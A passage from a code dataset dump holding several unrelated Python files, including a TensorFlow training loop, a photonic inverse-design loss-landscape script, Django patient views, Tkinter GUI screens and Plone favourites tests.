tf.summary.FileWriter('./Data/logs/', sess.graph)\n valid_writer = tf.summary.FileWriter('./Data/logs/')\n start = FLAGS['start_step']\n end = FLAGS['end_step']\n loss_sum = valid_loss = 0.0\n itr = start\n while True:\n for (train_images, train_annotations) in iterator:\n itr += 1\n if itr >= end:\n break\n\n feed_dict = {x: train_images,\n y_: train_annotations}\n net_out, _, train_loss, summary_str = sess.run(\n [x_op, train_op, loss, loss_summary], feed_dict=feed_dict)\n loss_sum += train_loss\n\n if itr % 100 == 0:\n valid_loss_sum = 0.0\n for i, (valid_images, valid_annotations) in enumerate(valid):\n feed_dict = {\n x: valid_images, y_: valid_annotations\n }\n result, valid_loss, valid_summary = sess.run(\n [x_op, loss, loss_summary], feed_dict=feed_dict)\n valid_loss_sum += valid_loss\n train_writer.add_summary(summary_str, itr)\n valid_writer.add_summary(valid_summary, itr)\n lr, global_step = sess.run([lr_op, global_step_op])\n print(\"Step: {}, Learning Rate: {:.8f}, Train_loss:{:.8f}, Valid_loss:{:.8f}\".format(\n global_step, lr, loss_sum/100, valid_loss_sum/i))\n loss_sum = 0.0\n\n if itr % 500 == 0:\n saver.save(sess, FLAGS['log_dir'] + \"model.ckpt\", itr)\n else:\n continue\n break\n\n saver.save(sess, FLAGS['log_dir'] + \"model.ckpt\", itr)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"589828619","text":"#\n# Housekeeping\n#\nimport os\nimport shutil\nimport sys\n\n#\n# Math\n#\nimport numpy as np\n\n#\n# Plotting\n#\nimport matplotlib as mpl\nimport matplotlib.pylab as plt\n\n#\n# Electromagnetics\n#\nrun_on_cluster = True\nuse_previous_opt = False\n\nif run_on_cluster:\n\tsys.path.append( '/central/home/gdrobert/Develompent/ceviche' )\nimport ceviche\n\nif len( sys.argv ) < 3:\n\tprint( \"Usage: python \" + sys.argv[ 0 ] + \" { random seed } { save folder }\" )\n\tsys.exit( 1 )\n\nrandom_seed = int( sys.argv[ 1 ] )\nsave_folder = sys.argv[ 2 ]\n\nif use_previous_opt:\n\trandom_seed = int( np.load( save_folder + '/random_seed.npy' ) )\nelse:\n\tnp.save( save_folder + '/random_seed.npy', np.array( random_seed ) )\n\nnp.random.seed( random_seed )\n\npython_src_directory = os.path.abspath(os.path.join(os.path.dirname(__file__), '.'))\nshutil.copy2(\n\tpython_src_directory + \"/loss_landscape.py\",\n\tsave_folder + \"/loss_landscape.py\")\n\neps_nought = 8.854 * 1e-12\nc = 3.0 * 1e8\n\ndef vector_norm( v_in ):\n\treturn np.sqrt( np.sum( np.abs( v_in )**2 ) )\n\ndef compute_fom_and_gradient( omega, mesh_size_m, relative_permittivity, pml_cells, fwd_src_y_loc, focal_point_x_loc, focal_point_y_loc ):\n\tsimulation_width_cells = relative_permittivity.shape[ 0 ]\n\tsimulation_height_cells = relative_permittivity.shape[ 1 ]\n\tsimulation = ceviche.fdfd_ez( omega, mesh_size_m, relative_permittivity, pml_cells )\n\n\tfwd_src_x = np.arange( 0, simulation_width_cells )\n\tfwd_src_y = fwd_src_y_loc * np.ones( fwd_src_x.shape, dtype=int )\n\n\tfwd_source = np.zeros( ( simulation_width_cells, simulation_height_cells ), dtype=np.complex )\n\tfwd_source[ fwd_src_x, fwd_src_y ] = 1\n\n\tfwd_Hx, fwd_Hy, fwd_Ez = simulation.solve( fwd_source )\n\n\tfocal_point_y = focal_point_y_loc\n\tfocal_point_x = focal_point_x_loc\n\n\tfom = np.abs( fwd_Ez[ focal_point_x, focal_point_y ] )**2\n\t\n\tadj_source = np.zeros( ( simulation_width_cells, simulation_height_cells ), dtype=np.complex )\n\tadj_source[ focal_point_x, focal_point_y ] = np.conj( fwd_Ez[ focal_point_x, focal_point_y ] )\n\n\tadj_Hx, adj_Hy, adj_Ez = simulation.solve( adj_source )\n\n\tgradient = 2 * np.real( omega * eps_nought * fwd_Ez * adj_Ez / 1j )\n\n\treturn fom, gradient\n\n\ndef compute_fom( omega, mesh_size_m, relative_permittivity, pml_cells, fwd_src_y_loc, focal_point_x_loc, focal_point_y_loc ):\n\tsimulation_width_cells = relative_permittivity.shape[ 0 ]\n\tsimulation_height_cells = relative_permittivity.shape[ 1 ]\n\tsimulation = ceviche.fdfd_ez( omega, mesh_size_m, relative_permittivity, pml_cells )\n\n\tfwd_src_x = np.arange( 0, simulation_width_cells )\n\tfwd_src_y = fwd_src_y_loc * np.ones( fwd_src_x.shape, dtype=int )\n\n\tfwd_source = np.zeros( ( simulation_width_cells, simulation_height_cells ), dtype=np.complex )\n\tfwd_source[ fwd_src_x, fwd_src_y ] = 1\n\n\tfwd_Hx, fwd_Hy, fwd_Ez = simulation.solve( fwd_source )\n\n\tfocal_point_y = focal_point_y_loc\n\tfocal_point_x = focal_point_x_loc\n\n\tfom = np.abs( fwd_Ez[ focal_point_x, focal_point_y ] )**2\n\t\n\treturn fom\n\nmesh_size_nm = 15\ndensity_coarsen_factor = 4\nmesh_size_m = mesh_size_nm * 1e-9\nlambda_min_nm = 500\nlambda_max_nm = 700\nnum_lambda_values = 10\n\nmin_relative_permittivity = 1.5**2\nmax_relative_permittivity = 2.5**2\n\nlambda_values_nm = np.linspace( lambda_min_nm, lambda_max_nm, num_lambda_values )\nomega_values = 2 * np.pi * c / ( 1e-9 * lambda_values_nm )\n\npml_voxels = 40\ndevice_width_voxels = 140\n# device_height_voxels = 80\ndevice_height_voxels = 60\ndevice_voxels_total = device_width_voxels * device_height_voxels\nmid_width_voxel = int( 0.5 * device_width_voxels )\nmid_height_voxel = int( 0.5 * device_height_voxels )\nwidth_gap_voxels = 50\nheight_gap_voxels_top = 75\nheight_gap_voxels_bottom = 50\nfocal_length_voxels = 100\nsimluation_width_voxels = device_width_voxels + 2 * width_gap_voxels + 2 * pml_voxels\nsimulation_height_voxels = device_height_voxels + focal_length_voxels + height_gap_voxels_bottom + height_gap_voxels_top + 2 * pml_voxels\n\ndevice_width_start = int( 0.5 * ( simluation_width_voxels - device_width_voxels ) )\ndevice_width_end = device_width_start + device_width_voxels\ndevice_height_start = int( pml_voxels + height_gap_voxels_bottom + focal_length_voxels )\ndevice_height_end = device_height_start + device_height_voxels\n\nfwd_src_y = int( pml_voxels + height_gap_voxels_bottom + focal_length_voxels + device_height_voxels + 0.75 * height_gap_voxels_top )\nfocal_point_y = int( pml_voxels + height_gap_voxels_bottom )\n\n#\n# Verify finite difference gradient\n#\nverify_fd_grad = False\n\nif verify_fd_grad:\n\tfd_x = int( 0.5 * simluation_width_voxels )\n\tfd_y = np.arange( device_height_start, device_height_end )\n\tcompute_fd = np.zeros( len( fd_y ) )\n\tfd_omega = omega_values[ int( 0.5 * len( omega_values ) ) ]\n\n\tfd_init_device = 1.5 * np.ones( ( device_width_voxels, device_height_voxels ) )\n\trel_eps_simulation = np.ones( ( simluation_width_voxels, simulation_height_voxels ) )\n\trel_eps_simulation[ device_width_start : device_width_end, device_height_start : device_height_end ] = (\n\t\t0.5 * ( min_relative_permittivity + max_relative_permittivity ) * np.ones( ( device_width_voxels, device_height_voxels ) ) )\n\n\tfocal_point_x = int( 0.5 * simulation_width_cells )\n\n\tget_fom, get_grad = compute_fom_and_gradient( fd_omega, mesh_size_m, rel_eps_simulation, [ pml_voxels, pml_voxels ], fwd_src_y, focal_point_x, focal_point_y )\n\n\tfd_step_eps = 1e-4\n\n\tfor fd_y_idx in range( 0, len( fd_y ) ):\n\t\tfd_permittivity = rel_eps_simulation.copy()\n\t\tfd_permittivity[ fd_x, fd_y[ fd_y_idx ] ] += fd_step_eps\n\n\t\tget_fom_step, get_grad_step = compute_fom_and_gradient( fd_omega, mesh_size_m, fd_permittivity, [ pml_voxels, pml_voxels ], fwd_src_y, focal_point_x, focal_point_y )\n\n\t\tcompute_fd[ fd_y_idx ] = ( get_fom_step - get_fom ) / fd_step_eps\n\n\tplt.plot( compute_fd, color='g', linewidth=2 )\n\tplt.plot( get_grad[ fd_x, device_height_start : device_height_end ], color='b', linewidth=2, linestyle='--' )\n\tplt.show()\n\n\tsys.exit( 0 )\n\ndef reinterpolate_average( input_block, factor ):\n\tinput_block_size = input_block.shape\n\toutput_block_size = [ int( k / factor ) for k in input_block_size ]\n\n\toutput_block = np.zeros( output_block_size, input_block.dtype )\n\n\tfor x_idx in range( 0, output_block_size[ 0 ] ):\n\t\tstart_x = int( factor * x_idx )\n\t\tend_x = start_x + factor\n\t\tfor y_idx in range( 0, output_block_size[ 1 ] ):\n\t\t\tstart_y = int( factor * y_idx )\n\t\t\tend_y = start_y + factor\n\n\t\t\taverage = 0.0\n\n\t\t\tfor sweep_x in range( start_x, end_x ):\n\t\t\t\tfor sweep_y in range( start_y, end_y ):\n\t\t\t\t\taverage += ( 1. / factor**2 ) * input_block[ sweep_x, sweep_y ]\n\t\t\t\n\t\t\toutput_block[ x_idx, y_idx ] = average\n\n\treturn output_block\n\ndef upsample( input_block, factor ):\n\tinput_block_size = input_block.shape\n\toutput_block_size = [ int( k * factor ) for k in input_block_size ]\n\n\toutput_block = np.zeros( output_block_size, input_block.dtype )\n\n\tfor x_idx in range( 0, output_block_size[ 0 ] ):\n\t\tfor y_idx in range( 0, output_block_size[ 1 ] ):\n\t\t\toutput_block[ x_idx, y_idx ] = input_block[ int( x_idx / factor ), int( y_idx / factor ) ]\n\n\treturn output_block\n\ndef density_to_permittivity( density_in ):\n\treturn ( min_relative_permittivity + ( max_relative_permittivity - min_relative_permittivity ) * density_in )\n\nrel_eps_simulation = np.ones( ( simluation_width_voxels, simulation_height_voxels ) )\n\nfocal_points_x = [\n\tint( device_width_start + 0.25 * device_width_voxels ),\n\tint( device_width_start + 0.75 * device_width_voxels )\n]\n\nwavelength_intensity_scaling = lambda_max_nm**2 / lambda_values_nm**2\n\nif use_previous_opt:\n\tdevice_density = np.load( save_folder + \"/device_density.npy\" )\nelse:\n\n\tinit_density = 0.5\n\tdevice_dense_density = init_density * np.ones( ( device_width_voxels, device_height_voxels ) )\n\tdevice_density = reinterpolate_average( device_dense_density, density_coarsen_factor )\n\n\tnp.save( save_folder + \"/init_device_dense_density.npy\", device_dense_density )\n\tnp.save( save_folder + \"/init_device_density.npy\", device_density )\n\n\tnum_iterations = 250\n\n\tmax_density_change_per_iteration_start = 0.05\n\tmax_density_change_per_iteration_end = 0.005\n\n\tgradient_norm_evolution = np.zeros( num_iterations )\n\tfom_evolution = np.zeros( num_iterations )\n\tfom_by_wl_evolution = np.zeros( ( num_iterations, num_lambda_values ) )\n\tgradient_directions = np.zeros( ( num_iterations, device_density.shape[ 0 ], device_density.shape[ 1 ] ) )\n\n\tfor iter_idx in range( 0, num_iterations ):\n\t\t\n\t\timport_density = upsample( device_density, density_coarsen_factor )\n\t\tdevice_permittivity = density_to_permittivity( import_density )\n\n\t\trel_eps_simulation[ device_width_start : device_width_end, device_height_start : device_height_end ] = device_permittivity\n\n\t\tgradient_by_wl = []\n\t\tfom_by_wl = []\n\n\t\tfor wl_idx in range( 0, num_lambda_values ):\n\t\t\tget_focal_point = focal_points_x[ 0 ]\n\t\t\tif wl_idx >= int( 0.5 * num_lambda_values ):\n\t\t\t\tget_focal_point = focal_points_x[ 1 ]\n\t\t\tget_fom, get_grad = compute_fom_and_gradient(\n\t\t\t\tomega_values[ wl_idx ],\n\t\t\t\tmesh_size_m, rel_eps_simulation,\n\t\t\t\t[ pml_voxels, pml_voxels ],\n\t\t\t\tfwd_src_y,\n\t\t\t\tget_focal_point, focal_point_y )\n\n\t\t\tdevice_grad = get_grad[ device_width_start : device_width_end, device_height_start : device_height_end ]\n\n\t\t\tscale_fom_for_wl = get_fom * wavelength_intensity_scaling[ wl_idx ]\n\t\t\tscale_gradient_for_wl = device_grad * wavelength_intensity_scaling[ wl_idx ]\n\n\t\t\tgradient_by_wl.append( scale_gradient_for_wl )\n\t\t\tfom_by_wl.append( scale_fom_for_wl )\n\n\t\tnet_fom = np.product( fom_by_wl )\n\t\tnet_gradient = np.zeros( gradient_by_wl[ 0 ].shape )\n\n\t\tfor wl_idx in range( 0, num_lambda_values ):\n\t\t\twl_gradient = ( max_relative_permittivity - min_relative_permittivity ) * gradient_by_wl[ wl_idx ]\n\t\t\tweighting = net_fom / fom_by_wl[ wl_idx ]\n\n\t\t\tnet_gradient += ( weighting * wl_gradient )\n\n\t\tnet_gradient = reinterpolate_average( net_gradient, density_coarsen_factor )\n\n\t\tgradient_norm = vector_norm( net_gradient )\n\n\t\tfom_evolution[ iter_idx ] = net_fom\n\t\tfom_by_wl_evolution[ iter_idx ] = np.array( fom_by_wl )\n\t\tgradient_norm_evolution[ iter_idx ] = gradient_norm\n\n\t\tnorm_scaled_gradient = net_gradient / gradient_norm\n\n\t\tgradient_directions[ iter_idx ] = norm_scaled_gradient\n\n\t\tmax_density_change = (\n\t\t\tmax_density_change_per_iteration_start +\n\t\t\t( iter_idx / ( num_iterations - 1 ) ) * ( max_density_change_per_iteration_end - max_density_change_per_iteration_start )\n\t\t)\n\n\t\tdevice_density += max_density_change * norm_scaled_gradient / np.max( np.abs( norm_scaled_gradient ) )\n\t\tdevice_density = np.maximum( 0, np.minimum( device_density, 1 ) )\n\n\t\tnp.save( save_folder + \"/figure_of_merit.npy\", fom_evolution )\n\t\tnp.save( save_folder + \"/gradient_directions.npy\", gradient_norm_evolution )\n\t\tnp.save( save_folder + \"/figure_of_merit_by_wavelength.npy\", fom_by_wl_evolution )\n\t\tnp.save( save_folder + \"/device_density.npy\", device_density )\n\n\nrandom_direction_mean = 0.0\nrandom_direction_sigma = 1.0\n\ndevice_density_flattened = device_density.flatten()\n\n#\n# Should also eventually consider feature size in here! Maybe just do this whole thing on a coarser grid including the optimization\n#\n\ndirection_delta = np.random.normal( loc=random_direction_mean, scale=random_direction_sigma, size=[ int( device_voxels_total / density_coarsen_factor**2 ) ] )\ndirection_delta /= vector_norm( direction_delta )\n\ndirection_eta = np.random.normal( loc=random_direction_mean, scale=random_direction_sigma, size=[ int( device_voxels_total / density_coarsen_factor**2 ) ] )\ndirection_eta /= vector_norm( direction_eta )\n\nnp.save( save_folder + \"/direction_delta.npy\", direction_delta )\nnp.save( save_folder + \"/direction_eta.npy\", direction_eta )\n\nnum_steps_per_direction = 51\n\n# alpha = np.linspace( -1, 1, num_steps_per_direction )\n# beta = np.linspace( -1, 1, num_steps_per_direction )\n\nalpha = np.linspace( -5, 5, num_steps_per_direction )\nbeta = np.linspace( -5, 5, num_steps_per_direction )\n\nnp.save( save_folder + \"/alpha.npy\", alpha )\nnp.save( save_folder + \"/beta.npy\", beta )\n\nlandscape = np.zeros( ( num_steps_per_direction, num_steps_per_direction ) )\nlandscape_valid = np.ones( ( num_steps_per_direction, num_steps_per_direction ) )\n\n#\n# How do we deal with the bounds of the problem on permittivity?\n#\ndef density_bound_from_eps( eps_val ):\n\treturn ( eps_val - min_relative_permittivity ) / ( max_relative_permittivity - min_relative_permittivity )\neps_max_landscape = 3.0**2\neps_min_landscape = 1.0**2\n\ndensity_max_landscape = density_bound_from_eps( eps_max_landscape )\ndensity_min_landscape = density_bound_from_eps( eps_min_landscape )\n\nfor landscape_x in range( 0, num_steps_per_direction ):\n\tfor landscape_y in range( 0, num_steps_per_direction ):\n\n\t\tlandscape_density_flattened = device_density_flattened + alpha[ landscape_x ] * direction_delta + beta[ landscape_y ] * direction_eta\n\t\tlandscape_density = np.reshape( landscape_density_flattened, device_density.shape )\n\n\t\tif ( np.min( landscape_density ) < density_min_landscape ) or ( np.max( landscape_density ) > density_max_landscape ):\n\t\t\tlandscape[ landscape_x, landscape_y ] = -1\n\t\t\tlandscape_valid[ landscape_x, landscape_y ] = 0\n\n\t\telse:\n\t\t\timport_landscape_density = upsample( landscape_density, density_coarsen_factor )\n\n\t\t\tlandscape_device_permittivity = density_to_permittivity( import_landscape_density )\n\n\t\t\trel_eps_simulation[ device_width_start : device_width_end, device_height_start : device_height_end ] = landscape_device_permittivity\n\n\t\t\tfom_by_wl = []\n\n\t\t\tfor wl_idx in range( 0, num_lambda_values ):\n\t\t\t\tget_focal_point = focal_points_x[ 0 ]\n\t\t\t\tif wl_idx >= int( 0.5 * num_lambda_values ):\n\t\t\t\t\tget_focal_point = focal_points_x[ 1 ]\n\t\t\t\tget_fom = compute_fom(\n\t\t\t\t\tomega_values[ wl_idx ],\n\t\t\t\t\tmesh_size_m, rel_eps_simulation,\n\t\t\t\t\t[ pml_voxels, pml_voxels ],\n\t\t\t\t\tfwd_src_y,\n\t\t\t\t\tget_focal_point, focal_point_y )\n\n\t\t\t\tscale_fom_for_wl = get_fom * wavelength_intensity_scaling[ wl_idx ]\n\t\t\t\tfom_by_wl.append( scale_fom_for_wl )\n\n\t\t\tlandscape[ landscape_x, landscape_y ] = np.product( fom_by_wl )\n\n\n\t\tnp.save( save_folder + \"/landscape.npy\", landscape )\n\t\tnp.save( save_folder + \"/landscape_valid.npy\", landscape_valid )\n\n\n\n","sub_path":"inverse_design/loss_landscape.py","file_name":"loss_landscape.py","file_ext":"py","file_size_in_byte":14031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"93106438","text":"import os, numpy as np, pandas as pd\nimport utilities.color_extraction.utilities as utils\nimport shared_utilities as shutils\nfrom networks.color_extraction.network import ColorExtractionNetwork\nimport constants.color_extraction.constants as cnt\n\ndef get_input_data_from_image(image):\n image = shutils.process_image(image, cnt.IMAGE_SIZE)\n return np.array([shutils.image_to_array(image)])\n\nclass Inference:\n def __init__(self):\n self.network = ColorExtractionNetwork()\n self.network.init_model()\n self.network.load()\n self.pt_encoder = shutils.load_data_pkl(cnt.PT_ENCODER_PATH)\n self.cl_encoder = shutils.load_data_pkl(cnt.COLOR_ENCODER_PATH)\n\n def predict(self, image):\n try:\n input_data = get_input_data_from_image(image)\n \n cl_prediction, cl_probability = self.network.predict(input_data, type='color', return_probability=True)\n pt_prediction, pt_probability = self.network.predict(input_data, type='pt', return_probability=True)\n \n cl_prediction = self.cl_encoder.inverse_transform(np.array(cl_prediction))\n \n if np.sum(pt_prediction) == 0:\n pt_prediction = [[]]\n else:\n pt_prediction = self.pt_encoder.inverse_transform(np.array(pt_prediction))\n\n return {\"status\": 1, \"product_type\" : pt_prediction[0], \"product_type_confidence\" : pt_probability[0], \"color\" : list(cl_prediction[0]), \"color_confidence\" : cl_probability[0]}\n \n except Exception as err:\n return {\"status\": 0, \"message\" : str(err)}","sub_path":"Deep_Learning_Models/inferencing/color_extraction/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"8720518","text":"\nimport cv2\nimg = cv2.imread('sof.jpg') # load a dummy image\nwhile(1):\n cv2.imshow('img',img)\n k = cv2.waitKey(33)\n if k==27: # Esc key to stop\n break\n elif k==-1: # normally -1 returned,so don't print it\n continue\n else:\n print (k) # else print its value\n '''\n\nimport tkinter as tk\nfrom tkinter import messagebox\nroot = tk.Tk()\nroot.withdraw()\nmessagebox.showinfo(\"Say Hello\", \"Hello World\")\n'''","sub_path":"test_scripts/key.py","file_name":"key.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"514319971","text":"from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom doctor.models import Prescription\nfrom lab_operator.models import Radiological_Data\n\n@login_required(login_url=\"/../accounts/login\")\ndef patient_dashboard(request):\n username = request.user.username\n return render(request,\"patient/dashboard.html\",{\"username\":username})\n\ndef patient_records(request):\n patient = request.user\n patient_name = patient.username\n prescriptions = Prescription.objects.filter(patient=patient)\n\n return render(request,\"patient/patient_records.html\",{\"prescriptions\":prescriptions,\"patient_name\":patient_name})\n\n\ndef patient_rad_records(request):\n patient = request.user\n patient_name = patient.username\n rad_datas = Radiological_Data.objects.filter(patient=patient)\n\n return render(request,\"patient/patient_rad_records.html\",{\"rad_datas\":rad_datas,\"patient_name\":patient_name})\n\n\n\n","sub_path":"patient/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"428986014","text":"from tkinter import *\n\n\nclass payment_Screen:\n def __init__(self,window):\n self.window = window\n\n self.frame = Frame(self.window, bg = 'white', width=800,height=450)\n\n self.frame.pack()\n\n self.label = Label(self.frame,text='Property payment ',bg='white',font=('Arial',30,'bold'))\n self.label.place(x=200,y=20,width=400,height=50)\n\n self.label_property = Label(self.frame, text='Property :',bg='white',font=('Arial',8,'bold'))\n self.label_property.place(x=120,y=100,width=100,height=50)\n\n self.label_Manager = Label(self.frame, text='Manager :',bg='white',font=('Arial',8,'bold'))\n self.label_Manager.place(x=120,y=150,width=100,height=30)\n\n self.label_locality = Label(self.frame, text='Locality :',bg='white',font=('Arial',8,'bold'))\n self.label_locality.place(x=120,y=200,width=100,height=30)\n\n self.label_Throughlane = Label(self.frame, text='Throughlane :',bg='white',font=('Arial',8,'bold'))\n self.label_Throughlane.place(x=120,y=250,width=100,height=30)\n self.label_amount = Label(self.frame, text='Amount',bg='white',font=('Arial',8,'bold'))\n self.label_amount.place(x=120,y=300,width=100,height=30)\n\n self.property_text=StringVar()\n self.entry_property = Label(self.frame, text='Star Estate',bg='white',font=('Arial',8,'bold'))\n self.entry_property.place(x=220,y=100,width=150,height=30)\n\n self.manager_text=StringVar()\n self.entry_manager = Label(self.frame, text='Jhon Cooper',bg='white',font=('Arial',8,'bold'))\n self.entry_manager.place(x=220,y=150,width=150,height=30)\n\n self.locality_text=StringVar()\n self.entry_locality = Label(self.frame, text='Square tile road',bg='white',font=('Arial',8,'bold'))\n self.entry_locality.place(x=220,y=200,width=150,height=30)\n\n self.throughlane_text=StringVar()\n self.entry_throughlane = Label(self.frame, text='Garden walkway',bg='white',font=('Arial',8,'bold'))\n self.entry_throughlane.place(x=220,y=250,width=150,height=30)\n self.entry_throughlane = Label(self.frame, text='$ 60000',bg='white',font=('Arial',8,'bold'))\n self.entry_throughlane.place(x=220,y=300,width=150,height=30)\n\n \n\n self.button_view = Button(self.frame,text='Pay Now', command=self.view_command)\n self.button_view.place(x=250,y=380,width=100,height=40)\n\n \n\n\n \n\n def view_command(self):\n \n print(\"paid\")\n\n \n\nwindow = Tk()\nwindow.title('payment_Screen_User')\nwindow.geometry('700x450')\nobj = payment_Screen(window)\nwindow.mainloop()\n","sub_path":"payment_screen.py","file_name":"payment_screen.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"237733585","text":"import numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\n#sns.set(style=\"darkgrid\")\nsns.set(rc={'axes.facecolor':'cornflowerblue', 'figure.facecolor':'cornflowerblue'})\n\n#rs = 0.25\nrs = np.random.RandomState(50)\nd = rs.normal(size=(100, 30))\n\nf, ax = plt.subplots(figsize=(10, 10))\ncmap = sns.diverging_palette(220, 10, as_cmap=True)\nsns.corrplot(d, annot=False, sig_stars=False,diag_names=False, cmap=cmap, ax=ax)\n#f.tight_layout()\nf.set_tight_layout(True)\nf.savefig('test1.png')\n","sub_path":"cor_plot.py","file_name":"cor_plot.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"26117582","text":"from tkinter import *\nimport pandas as pd\nimport os #폴더를 만들고 삭제...현재 폴더 위치.\n\nclass Windows:\n\n def __init__(self, window):\n self.window = window\n self.window.title = \"My Dictionary\"\n self.dat = pd.read_csv(\"국토교통부_항공안전데이터_표준분류.csv\", encoding=\"CP949\", error_bad_lines=False)\n # GUI 구성\n # 02 텍스트 입력이 가능한 상자(Entry)\n self.entry = Entry(window, width=15, bg=\"light yellow\")\n self.entry.grid(row=1, column=0, sticky=W) # sticky 위치 w동쪽 좌, 우\n # 02 텍스트 입력이 가능한 상자(Entry)\n self.Destroy_entry = Entry(window, width=15, bg=\"Gray\")\n self.Destroy_entry.grid(row=1, column=3, sticky=W) # sticky 위치 w동쪽 좌, 우\n # 04 설명 레이블 - 의미\n self.label2 = Label(window, text=\"\\n입력한 단어의 정의\")\n self.label2.grid(row=3, column=0, sticky=W)\n self.create_label = Label(window, text=\"\\n추가 약어\")\n self.create_label.grid(row=0, column=4, sticky=W)\n self.create_entry = Entry(window, width=15, bg=\"light yellow\")\n self.create_entry.grid(row=1, column=4, sticky=W) # sticky 위치 w동쪽 좌, 우\n self.create_label = Label(window, text=\"\\n추가 용어\")\n self.create_label.grid(row=2, column=4, sticky=W)\n self.create_entry2 = Entry(window, width=15, bg=\"light yellow\")\n self.create_entry2.grid(row=3, column=4, sticky=W) # sticky 위치 w동쪽 좌, 우\n # 01 입력 상자 설명 레이블\n self.label = Label(window, text=\"약어 입력\")\n self.label.grid(row=0, column=0, sticky=W) # 장착 시킴\n # 02 텍스트 입력이 가능한 상자(Entry)\n self.entry = Entry(window, width=15, bg=\"light yellow\")\n self.entry.grid(row=1, column=0, sticky=W) # sticky 위치 w동쪽 좌, 우\n # 03 제출버튼\n self.button = Button(window, width=5, text=\"제출\", command=lambda : self.click(self.entry))\n self.button.grid(row=2, column=0, sticky=W)\n # 03 추가\n self.button = Button(window, width=17, text=\"추가\", command=lambda : self.create_dat(self.create_entry, self.create_entry2))\n self.button.grid(row=4, column=4, sticky=SW)\n # 03 삭제\n self.button = Button(window, width=5, text=\"삭제\", command=lambda : self.del_dat(self.Destroy_entry))\n self.button.grid(row=2, column=3, sticky=W)\n # 05 텍스트 박스 입력 상자\n # columnspan=2 는 (4,0)~(4,1) 위치까지 분포\n self.output = Text(window, width=20, height=6, wrap=WORD, background=\"light yellow\") # wrap\n self.output.grid(row=4, column=0, columnspan=2, sticky=S)\n\n def click(self, entry):\n word = self.entry.get() #아래 엔트리 상자의 내용을 text 넣는다\n # END로 지정하면 문자열이 입력된 최종 입력 지점을 의미.\n # 특정 시작 지점부터 텍스트 엔트리 위젯의 끝까지 모두 지우기 위해 END를 쓴다.\n self.output.delete(0.0, END) # 텍스트 박스 내용을 지운다.\n try:\n def_word = self.dat.loc[self.dat[\"약어\"] == word, '정의'].values[0]\n except:\n def_word = \"단어를 뜻을 찾을 수 없음.\"\n\n self.output.insert(END, def_word)\n\n def del_dat(self, entry):\n word = self.Destroy_entry.get()\n self.output.delete(0.0, END)\n try:\n df = self.dat.loc[self.dat[\"약어\"] == word].index\n self.dat.drop(df, inplace=True)\n print(self.dat)\n message = \"삭제완료\"\n except:\n message = \"해당 약어가 데이터에 없습니다.\"\n\n self.output.insert(END, message)\n\n def create_dat(self, entry, entry2):\n\n\n self.output.delete(0.0, END)\n def_word = \"create command\"\n self.output.insert(END, def_word)\n\nif __name__ == \"__main__\":\n window=Tk()\n Windows(window)\n window.mainloop()\n","sub_path":"11_tkinter.py","file_name":"11_tkinter.py","file_ext":"py","file_size_in_byte":4108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"59292735","text":"from ftw.builder import Builder\nfrom ftw.builder import create\nfrom ftw.testbrowser import browsing\nfrom opengever.base.oguid import Oguid\nfrom opengever.base.viewlets.favorite_action import FavoriteETagValue\nfrom opengever.document.browser.tabbed import DocumentTabbedView\nfrom opengever.testing import IntegrationTestCase\n\n\nclass TestFavoriteAction(IntegrationTestCase):\n\n features = ('favorites', )\n\n @browsing\n def test_favorite_link_is_shown_on_dexterity_object(self, browser):\n self.login(self.regular_user, browser=browser)\n browser.open(self.dossier)\n\n viewlet = browser.css('#favorite-action').first\n self.assertIsNotNone(viewlet)\n self.assertEquals(Oguid.for_object(self.dossier).id,\n viewlet.get('data-oguid'))\n self.assertEquals('http://nohost/plone/@favorites/kathi.barfuss',\n viewlet.get('data-url'))\n\n @browsing\n def test_favorite_action_respects_feature_flag(self, browser):\n self.deactivate_feature('favorites')\n\n self.login(self.regular_user, browser=browser)\n browser.open(self.dossier)\n\n self.assertEqual([], browser.css('#favorite-action'))\n\n @browsing\n def test_favorite_action_is_disabled_on_wrapper_objects(self, browser):\n self.activate_feature('meeting')\n self.login(self.meeting_user, browser=browser)\n browser.open(self.meeting)\n\n self.assertEqual([], browser.css('#favorite-action'))\n\n @browsing\n def test_adds_is_favorite_class_when_favorite_exists(self, browser):\n self.login(self.regular_user, browser=browser)\n\n create(Builder('favorite')\n .for_user(self.regular_user)\n .for_object(self.dossier))\n\n browser.open(self.dossier)\n self.assertEqual(\n 'is-favorite', browser.css('#mark-as-favorite').first.get('class'))\n\n browser.open(self.document)\n self.assertEqual(\n None, browser.css('#mark-as-favorite').first.get('class'))\n\n\nclass TestFavoriteEtagValue(IntegrationTestCase):\n \"\"\"Exceptions in the etag value adapter are failing silently,\n therefore we tests the etag adapter unittest like.\n \"\"\"\n\n features = ('favorites', )\n\n def test_handles_regular_requests(self):\n self.login(self.regular_user)\n\n create(Builder('favorite')\n .for_user(self.regular_user)\n .for_object(self.document))\n\n view = DocumentTabbedView(self.document, None)\n value = FavoriteETagValue(view, None)()\n self.assertEqual('1', value)\n\n def test_handles_webdav_requests(self):\n self.login(self.regular_user)\n\n create(Builder('favorite')\n .for_user(self.regular_user)\n .for_object(self.document))\n\n value = FavoriteETagValue(self.document, None)()\n self.assertEqual('1', 